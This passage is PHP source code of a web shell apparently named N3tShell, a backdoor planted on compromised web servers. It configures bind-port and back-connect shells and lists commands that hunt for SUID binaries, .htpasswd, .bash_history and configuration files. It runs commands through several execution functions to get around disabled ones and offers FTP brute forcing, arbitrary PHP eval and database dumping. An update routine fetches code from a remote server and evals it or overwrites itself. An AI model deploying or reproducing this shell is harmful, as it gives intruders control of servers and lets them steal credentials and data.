$bindport_pass = "N3t"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}

$sess_cookie = "N3tshvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
array("<b>Tools</b>",$surl."act=tools&d=%d"),
array("<b>Proc.</b>",$surl."act=processes&d=%d"),
array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
array("<b>Sec.</b>",$surl."act=security&d=%d"),
array("<b>SQL</b>",$surl."act=sql&d=%d"),
array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
array("<b>Update</b>",$surl."act=update&d=%d"),
array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
array("<b>Self remove</b>",$surl."act=selfremove"),
array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["N3tshcook"]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cN3tshell\">N3tshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"N3tshell ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); N3tsh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}

if (!function_exists("N3t_buff_prepare"))
{
function N3t_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
N3t_buff_prepare();
if (!function_exists("N3t_sess_put"))
{
function N3t_sess_put($data)
{
global $sess_cookie;
global $sess_data;
N3t_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARA TOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY _SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARA TOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY _SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}

$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";

if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("N3tgetsource"))
{
function N3tgetsource($fn)
{
global $N3tsh_sourcesurl;
$array = array(
"N3tsh_bindport.pl" => "N3tsh_bindport_pl.txt",
"N3tsh_bindport.c" => "N3tsh_bindport_c.txt",
"N3tsh_backconn.pl" => "N3tsh_backconn_pl.txt",
"N3tsh_backconn.c" => "N3tsh_backconn_c.txt",
"N3tsh_datapipe.pl" => "N3tsh_datapipe_pl.txt",
"N3tsh_datapipe.c" => "N3tsh_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($N3tsh_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("N3tsh_getupdate"))
{
function N3tsh_getupdate($update = TRUE)
{
$url = $GLOBALS["N3tsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download N3tshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by N3tShell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql _confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr><td><form name=\"N3tsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
if ($tbl_struct)
{
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.N3tsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (" ",$query);
/*array array()
{
"METHOD"=>array(output_type),
"METHOD1"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT")
{
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("N3tfsearch"))
{
function N3tfsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {N3tfsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function N3tshexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - N3t</title><STYLE>
TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;}
</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>N3tShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
